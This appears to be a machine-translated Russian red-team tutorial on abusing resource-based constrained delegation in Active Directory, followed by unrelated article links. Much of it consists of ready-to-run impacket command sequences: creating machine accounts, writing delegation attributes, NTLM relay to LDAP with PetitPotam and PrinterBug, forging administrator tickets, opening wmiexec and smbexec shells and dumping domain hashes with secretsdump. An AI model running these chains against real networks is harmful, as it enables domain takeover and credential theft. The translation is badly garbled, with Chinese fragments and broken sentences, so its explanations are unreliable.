Ограниченное делегирование на основе ресурсов (RBCD)
Ограниченное делегирование на основе ресурсов (RBCD)

RBCD

Дайте машине добавить вRBCDиз Посылка: 1. Вы можете дать себе доп. в 2.ACL→Account Restriction/msDS-AllowedToActOnBehalfOfOtherIdentityсвойство→creator-sid/backdoor/high level пользователь. Если у вас есть учетная запись для инструмента пользователя объекта/домена компьютера Ограничение и свойства msDS-AllowedToActOnBehalfOfOtherIdentity WriteProperty позволяют выполнять операции на основе Ограниченное делегирование ресурсов изиспользовать.

Простота в использовании

Ограниченное делегирование на основе ресурсов (компьютер)

добавить в
Есть две ситуации:

(1).creator-sid пользователь:alice-workstationЕсли Алиса втянута в домен, у Алисы по умолчанию будет alice-workstation.изAccount Разрешение WriteProperty ограничения

(2) После получения полномочий домена добавьте. вbobверноalice-workstation$izmsDS-AllowedToActOnBehalfOfOtherIdentityizWritePropertyРазрешения 1.ldap_shell

2.lex

adfind запросы acl alice-workstation:

злоупотреблять

Демо для alice-workstation$злоупотреблять с Бобом:

Пользователи домена могут добавлять по умолчанию в 10 Введите компьютер в домен (maq) как бобиз добавить вbob-evil$

Установите bob-evil на rbcd alice-station$

Ограниченное делегирование генерирует билет cifs ST для администратора на alice-station$

Импортируйте билеты и получите интерактивную оболочку для wmi

Ограниченное делегирование на основе ресурсов (Пользователь)→MAQ=0

Некоторое время назад у иностранцев сложилась такая манера высказывания: использовать:

https://www.tiraniddo.dev/2022/05/exploiting-rbcd-using-normal-user.html существует,Злоумышленник не может создать учетную запись на компьютере,Вы можете подключить пользователя домена rbcd к учетной записи доменного компьютера для злоупотребления.

добавить в

Как указано выше, Алиса втягивает alice-station в домен, поэтому у Алисы есть разрешение **msDS-AllowedToActOnBehalfOfOtherIdentity WriteProperty пользователя домена alice-station$. ** Установите для bob значение alice-station$ в rbcd Боба:

злоупотреблять

getST.py генерирует билет cifs ST администратора для alice-station:

На этапе S4U2self сообщается об ошибке: Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN.

Это связано с тем, что пользователь не зарегистрировал SPN по умолчанию, и KDC не может выбрать правильный ключ для расшифровки, поэтому S4U2Self завершается сбоем. Если SPN добавить в Бобу и вы сможете успешно перевестись с KDC подает заявку на билеты ST, а это значит, что проблема не в самой учетной записи пользователя, а просто KDC Невозможно выбрать правильный ключ для расшифровки.

U2U реализует расширение аутентификации между пользователями. На этапе S4U2Proxy KDC попытается использовать долгосрочную аутентификацию Боба. key(bob хеш) для расшифровки, но U2U сделает После шифрования билета с помощью сеансового ключа TGT, прикрепленного к TGS-REQ, KDC не может его нормально расшифровать. В это время вы можете использовать SamrChangePasswordUserсуществоватьS4U2Self. Изменив хэш Боба с помощью S4U2Proxy на значение ключа шифрования TGT U2U, KDC может успешно расшифровать и выдать билеты ST. Подробную информацию см. по адресу: https://mp.weixin.qq.com/s/1eJb-UtSVRV5JF0gfQgwWg.

impacketиспользовать

Возьмем, к примеру, настройку делегирования обычного пользователя домена dandy в dc1$ на основе ограничений ресурсов. Здесь администратор напрямую настраивает rbcd.

Язык кода:javascript
копировать
# Установить денди на dc1$изRBCD
python3 rbcd.py redteam.lab/administrator:Qq123456.. -action write -delegate-to 'dc1$' -delegate-from 'dandy' -dc-ip 192.168.134.
# Используйте dandyиhash для генерации TGT (ntlm хеш использует шифрование RC4)
getTGT.py -hashes :$(pypykatz crypto nt 'Qq123456..') 'redteam.lab/dandy' -dc-ip 192.168.134.
# Получить дендиTGTизSession Key
python3 describeticket.py dandy.ccache | grep 'Ticket Session Key'
# Установить dandyzhash на сессию Key
python3 smbpasswd.py -newhashes :c592bc40c1908aff4787f4f4db7f0a82 'redteam/dandy:Qq123456..'@dc1.redteam.lab
# Импортировать TGT
export KRB5CCNAME=dandy.ccache
# использоватьu2uполучатьdc1изhost serviceизST
python3 getST.py -u2u -impersonate administrator -spn "host/dc1.redteam.lab" -k -no-pass 'redteam.lab/dandy'
# Импортировать ST
export KRB5CCNAME=administrator@host_dc1.redteam.lab@REDTEAM.LAB.ccache
# WMI
python3 wmiexec.py administrator@dc1.redteam.lab -k -no-pass

Примечание. На SamrChangePasswordUser влияет групповая политика домена. Стандартная и общая политика паролей в домене может не иметь возможности вовремя изменить пароль. Если он определенно пройдет ток 域пользователь能拿下DCиз Вы можете попробовать это,использовать成功后将пользователь密码改为原来изценить。

гнилые помидоры

Ограниченное делегирование на основе ресурсов достигает цели делегирования путем изменения собственного поля msDS-AllowedToActOnBehalfOfOtherIdentity. По умолчанию этот доменный компьютер подключается к домену. У кого еще есть такое разрешение? Поскольку злая машина втягивается в домен через пользователя 07, злой ACL проходит через AdFind, а пользователи с разрешениями на запись фильтруются через запись.

Язык кода:javascript
копировать
AdFind -b "CN=evil,CN=Computers,DC=redteam,DC=lab" -s base nTSecurityDescriptor -sddl++ -resolvesids | findstr "write”
Вы можете видеть, что не только пользователь 07, но и пользователи с разрешениями СИСТЕМА имеют права на запись в этот объект.
Поверхность атаки: пользователи домена с разрешениями служб, такими как iis, могут получить самые высокие разрешения текущего компьютера домена.

(https://docs.microsoft.com/en-us/iis/manage/configuring-security/application-pool-identities) В официальном документе четко указано, что пользователи служб, такие как iis, используют учетную запись компьютера (SYSTEM) для запроса сети ресурсы. В официальной документации четко указано, что пользователи служб, такие как iis, используют учетную запись компьютера (SYSTEM) для запроса сетевых ресурсов. )

Этот вызов ставит очень серьезную проблему: не только iis, но и все низкопривилегированные службы. (например, сетевые Локальные службы (например, сервис) запрашивают учетные записи компьютеров. Ресурсы внутри домена. Эта функция позволяет напрямую подключаться к настройкам контроллера домена с использованием ldap на основе текущего компьютера на основе ограниченного делегирования ресурсов, что приводит к падению текущего компьютера домена.

Демо
Ранее известно:
1. По умолчанию пользователи домена могут создать десять доменных компьютеров.
  1. Сервисы с низким уровнем привилегий (такие как сетевая Службы этого типа (то есть собственные службы) запрашивают ресурсы внутри домена как учетную запись компьютера. Учетная запись компьютера имеет разрешения WriteProperty сама на себя. Текущая среда: На машине домена web2008 хранится служба существованияiis. После получения веб-оболочки злоумышленник обнаружил, что текущие разрешения — iis, но этот пользователь по-прежнему является пользователем домена и может создавать учетные записи компьютера. Число; iis использует учетную запись компьютера для запроса ресурсов в домене и имеет разрешения WriteProperty на самом компьютере. Вы можете установить себя изmsDS-AllowedToActOnBehalfOfOtherIdentity. Поля для настройки ограниченного делегирования на основе ресурсов. Таким образом, вы можете использоватьweb2008 создать доменную машину (здесь evilpc) и применить writelproperty, установив evilpc на ее базовый ресурс из-за ограниченного делегирования.
Определите, успешна ли настройка, просмотрев LDAP.
Язык кода:javascript
копировать
python3 getST.py -dc-ip 192.168.129.130 redteam/evilpc\$:123456 -spn cifs/web2008.redteam.lab -impersonate administrator
export KRB5CCNAME=administrator.ccache
python3 smbexec.py -no-pass -k redteam/administrator@web2008.redteam.lab

2019-1040

Ретранслируйте целевую аутентификацию SMB на ldap контроллера домена через MITM. Поскольку SMB не может передаваться напрямую через LDAP, необходимо обойти проверку NTLM MIC (проверку целостности сообщения), что дает злоумышленнику возможность получить высшие полномочия в домене, используя только одну обычную учетную запись домена. 1. Создайте доменную машину

Язык кода:javascript
копировать
python3 addcomputer.py -method SAMR -dc-ip 192.168.130.130 -computer-name QQQ -computer-pass 1qaz@WSX "redteam.lab/carn2:Qq123456.."

2.ntlmrelayx.py мониторинг

Язык кода:javascript
копировать
python3 ntlmrelayx.py -t ldap://192.168.130.131 -domain redteam.lab -smb2support --remove-mic --delegate-access --escalate-user QQQ$

3. Принудительное срабатывание защиты от подключения.

Язык кода:javascript
копировать
python3 PetitPotam.py 192.168.130.1 192.168.130.130 -u carn2 -p Qq123456.. -d redteam.lab
------
python3 printerbug.py Домен/имя пользователя:пароль@serviceip Вернуть IP
python3 printerbug.py hiro/win10:123456789qwe.@192.168.228.33 192.168.1.

Ntlmrelayx.py обходит NTLM MIC, через SMB relay в LADP, поскольку контроллер домена не находится в Exchange Windows Он находится в группе «Разрешения», поэтому его нельзя записать. ACL не может быть назначен указанному пользователю добавить однако разрешение Dcsync позволяет создать новую учетную запись компьютера и настроить для учетной записи компьютера ограниченное делегирование самому вторичному контроллеру домена.

Ограниченное делегирование на основе ресурсов создает билет ST администратора для DC1.

Язык кода:javascript
копировать
python3 getST.py -spn host/dc1.redteam.lab 'redteam.lab/QQQ$:1qaz@WSX' -impersonate administrator -dc-ip 192.168.130.
Экспортировать хеш домена
Язык кода:javascript
копировать
export KRB5CCNAME=administrator.ccache
python3 secretsdump.py -k -no-pass dc1.redteam.lab -just-dc

webclient http self relay

Web Распределенная авторская разработка и контроль версий (WebDAV) это протокол передачи гипертекста (HTTP) расширение, которое определяет, как использовать HTTP ( docs.microsoft.com ) выполнить комплекс Основные функции файлов, такие как копирование, перемещение, удаление и создание. Нужно включить WebClient Услуги могут основываться на WebDAV из Программы и функции работают нормально. Оказывается, злоумышленники могут косвенно злоупотреблять. WebClient сервис для принудительной аутентификации. Этот вид умения Эту технологию необходимо объединить с другими технологиями принуждения (такими как PetitPotam, PrinterBug) в качестве усилителя этих технологий. , тем самым улучшая NTLM Возможность реле. Когда включено WebDAV из UNC Когда файловая операция запускается по пути, узел аутентификации выполняет следующее:

  1. отправить OPTIONS способы обнаружить Web Сервер поддерживает функции,
  2. Если поддерживается ПРОПФИНД выдается PROPFIND проситьспособы Структура каталогов,
  3. Если веб-сервер отвечает 401 Unauthorized и запрашивает аутентификацию NTLM через заголовок WWW-Authenticate, мини-перенаправитель WebDAV приступит к инициации аутентификации запроса-ответа NTLM, в конечном итоге предоставляя хэш NetNTLM веб-серверу.

Общий процесс проверки личности может выглядеть следующим образом:

существовать Active Directory в конфигурации по умолчанию вы можете существовать WebClient Удаленно взять на себя управление рабочей станцией во время работы службы (Windows 7/10/11) и возможно изсервера (если установка опыт работы с настольным компьютером). Вкратце, как это делается:

  • проходить MS-RPRN или MS-EFSRPC проходить HTTP Запустите аутентификацию компьютера, для которой требуется набор RPC вызовиз Реквизиты для входа。
  • Передайте аутентификацию компьютера на LDAP/LDAPS для настройки RBCD/Shadow Credentials.

Следует отметить, что из WebClient Служба не запускается автоматически при запуске существования. Однако, если сработало WebClient Сервис существует, запускается на рабочей станции, и управление системой возможно удаленно. существуют Принудительная аутентификация в процессе, WebDAV можно заменить SMB,проходить Следующий форматиз UNC Злоумышленник получил доступ к пути HTTP Сервер: Хотя этот путь отличается от SMB По умолчанию в соглашении из UNC Разница в пути невелика, но влияние огромно. Наиболее очевидное различие заключается в том, что клиент больше не используется. SMB протокол, вместо него будет использоваться HTTP протокол(WebDAV),тем самымсуществовать Relay To LDAP/s обойти подпись. Более того, еще одним преимуществом этого является то, что злоумышленник HTTP Сервер может работать на любом порту, что обеспечивает большую гибкость с точки зрения красной команды, что позволяет нам избежать работы с уже связанными портами. SMB порт.

использовать:существовать客户端机器上启动 WebClient обслуживание, а затем пройти WebClient осуществлять NTLM Relay To LDAP/s, установленный для текущей машины msDS- KeyCredentialLink или msDS-AllowedToActOnBehalfOfOtherIdentity свойства и в конечном итоге переходят Shadow Credentials или RBCD Повышайте привилегии.

Условия использования

1. Служба WebClient должна работать на существующем целевом объекте. 2. По умолчанию Интернет Клиент будет только автоматически Intranet изhost в зоне для аутентификации, WebClient Только для местной интрасети (Локальный Интранет) или доверенный с сайта (Доверенное Сайты) список целевого использования «Учетные данные по умолчанию» Аутентификация. Один из способов добиться этого — использовать внутреннее имя netbios атакующего хоста (без предложения). 点)или ВОЗиспользоватьdnstool.py Для злоумышленника добавить вднс для завершения. 3. Должно быть отключено LDAP Привязка подписи/канала (по умолчанию). 4. Используется для принуждения HTTP Аутентификация должна выполняться с использованием имени netbios.

использовать

1. Установите соединение с помощью носков
Язык кода:javascript
копировать
socks 26085
2. Проверьте статус веб-клиента

1.использоватьwebclientservicescannerЗапрос

Язык кода:javascript
копировать
webclientservicescanner redteam/carn:'4120'@192.168.130.100 -dc-ip 192.168.130.

Если веб-клиент не открыт, вы можете использовать StartWebClientSvc.o, чтобы открыть его с низкими разрешениями.

2.использовать запрос службы sc

Язык кода:javascript
копировать
sc query webclient
sc config webclient start=demand/auto/disabled
sc start webclient

3. Используйте Crackmapexec для проверки.

Язык кода:javascript
копировать
./crackmapexec smb 192.168.130.1/24 -u administrator -p 'Qq123456..' -M webdav
3. Включите переадресацию портов.
Язык кода:javascript
копировать
rportfwd_local 8003 0.0.0.0 80

1. Добавьте RBCD

1.добавить вдоменная машинаQAZ$
Язык кода:javascript
копировать
python3 addcomputer.py -method SAMR -dc-ip 192.168.130.130 -computer-name QAZ -computer-pass 1qaz@WSX "redteam.lab/carn2:Qq123456.."
2.ntlmrelayx.py мониторинг, добавление в QAZ$из на основе делегирования ограничений ресурсов
Язык кода:javascript
копировать
python3 ntlmrelayx.py -domain redteam.lab -t ldap://192.168.130.130 --delegate-access --escalate-user QAZ$
3.rfsrpc запускает переподключение
Язык кода:javascript
копировать
python3 PetitPotam.py -u carn2 -p Qq123456.. -d redteam.lab Win-10@8003/print 192.168.130.
4.getst на имя администратора
Язык кода:javascript
копировать
python3 getST.py -dc-ip 192.168.130.130 -spn cifs/win-10.redteam.lab redteam.lab/QAZ$:'1qaz@WSX' -impersonate administrator
export KRB5CCNAME=administrator.ccache
python3 wmiexec.py -no-pass -k administrator@win-10.redteam.lab -dc-ip 192.168.130.

Acount Operators

Члены группы «Операторы учетной записи» могут изменять все атрибуты pcizmsDS-AllowedToActOnBehalfOfOtherIdentity в домене, кроме dc.

Язык кода:javascript
копировать
./main -d redteam.lab --dc 192.168.134.130 -u marry -H 5e95607216d9a4b7654d831beb9ee95c --AccountOperators

addcomputer

Язык кода:javascript
копировать
python3 addcomputer.py -method SAMR -dc-ip 192.168.134.130 -computer-name evil-op$ -computer-pass Qq123456.. "redteam.lab/op:Qq123456.."

addRBCD

Язык кода:javascript
копировать
python3 rbcd.py redteam.lab/administrator:Qq123456.. -action write -delegate-to 'testcomputers$' -delegate-from 'evil-op$' -dc-ip 192.168.134.130
boy illustration
Неразрушающее увеличение изображений одним щелчком мыши, чтобы сделать их более четкими артефактами искусственного интеллекта, включая руководства по установке и использованию.
boy illustration
Копикодер: этот инструмент отлично работает с Cursor, Bolt и V0! Предоставьте более качественные подсказки для разработки интерфейса (создание навигационного веб-сайта с использованием искусственного интеллекта).
boy illustration
Новый бесплатный RooCline превосходит Cline v3.1? ! Быстрее, умнее и лучше вилка Cline! (Независимое программирование AI, порог 0)
boy illustration
Разработав более 10 проектов с помощью Cursor, я собрал 10 примеров и 60 подсказок.
boy illustration
Я потратил 72 часа на изучение курсорных агентов, и вот неоспоримые факты, которыми я должен поделиться!
boy illustration
Идеальная интеграция Cursor и DeepSeek API
boy illustration
DeepSeek V3 снижает затраты на обучение больших моделей
boy illustration
Артефакт, увеличивающий количество очков: на основе улучшения характеристик препятствия малым целям Yolov8 (SEAM, MultiSEAM).
boy illustration
DeepSeek V3 раскручивался уже три дня. Сегодня я попробовал самопровозглашенную модель «ChatGPT».
boy illustration
Open Devin — инженер-программист искусственного интеллекта с открытым исходным кодом, который меньше программирует и больше создает.
boy illustration
Эксклюзивное оригинальное улучшение YOLOv8: собственная разработка SPPF | SPPF сочетается с воспринимаемой большой сверткой ядра UniRepLK, а свертка с большим ядром + без расширения улучшает восприимчивое поле
boy illustration
Популярное и подробное объяснение DeepSeek-V3: от его появления до преимуществ и сравнения с GPT-4o.
boy illustration
9 основных словесных инструкций по доработке академических работ с помощью ChatGPT, эффективных и практичных, которые стоит собрать
boy illustration
Вызовите deepseek в vscode для реализации программирования с помощью искусственного интеллекта.
boy illustration
Познакомьтесь с принципами сверточных нейронных сетей (CNN) в одной статье (суперподробно)
boy illustration
50,3 тыс. звезд! Immich: автономное решение для резервного копирования фотографий и видео, которое экономит деньги и избавляет от беспокойства.
boy illustration
Cloud Native|Практика: установка Dashbaord для K8s, графика неплохая
boy illustration
Краткий обзор статьи — использование синтетических данных при обучении больших моделей и оптимизации производительности
boy illustration
MiniPerplx: новая поисковая система искусственного интеллекта с открытым исходным кодом, спонсируемая xAI и Vercel.
boy illustration
Конструкция сервиса Synology Drive сочетает проникновение в интрасеть и синхронизацию папок заметок Obsidian в облаке.
boy illustration
Центр конфигурации————Накос
boy illustration
Начинаем с нуля при разработке в облаке Copilot: начать разработку с минимальным использованием кода стало проще
boy illustration
[Серия Docker] Docker создает мультиплатформенные образы: практика архитектуры Arm64
boy illustration
Обновление новых возможностей coze | Я использовал coze для создания апплета помощника по исправлению домашних заданий по математике
boy illustration
Советы по развертыванию Nginx: практическое создание статических веб-сайтов на облачных серверах
boy illustration
Feiniu fnos использует Docker для развертывания личного блокнота Notepad
boy illustration
Сверточная нейронная сеть VGG реализует классификацию изображений Cifar10 — практический опыт Pytorch
boy illustration
Начало работы с EdgeonePages — новым недорогим решением для хостинга веб-сайтов
boy illustration
[Зона легкого облачного игрового сервера] Управление игровыми архивами
boy illustration
Развертывание SpringCloud-проекта на базе Docker и Docker-Compose